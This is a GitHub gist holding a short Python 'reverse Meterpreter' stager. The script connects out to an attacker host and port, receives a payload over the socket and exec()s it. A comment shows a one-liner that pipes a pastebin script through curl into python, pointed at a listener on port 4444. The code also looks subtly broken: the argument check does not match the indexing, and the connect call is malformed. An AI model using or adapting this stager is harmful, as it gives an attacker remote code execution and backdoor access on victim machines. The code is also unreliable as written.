Skip to content

Instantly share code, notes, and snippets.

@wesleyit
Created November 11, 2016 10:33
Show Gist options
  • Save wesleyit/992471da5cf1bef848a20a7944e9bb4f to your computer and use it in GitHub Desktop.
Save wesleyit/992471da5cf1bef848a20a7944e9bb4f to your computer and use it in GitHub Desktop.
Parametrized Python Reverse Meterpreter
#!/usr/bin/env python
import socket, struct, sys
if len(sys.argv) != 2: sys.exit(1)
s = socket.socket(2, socket.SOCK_STREAM)
s.connect(sys.argv[1], int(sys.argv[2]))
l = struct.unpack('>I', s.recv(4))[0]
d = s.recv(l)
while len(d) < l:
d += s.recv(l-len(d))
exec(d, {'s':s})
## Run with: bash -c curl\\ http://pastebin.com/raw/h3rFHinE\\ |\\ python\\ -\\ 192.168.1.37\\ 4444
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment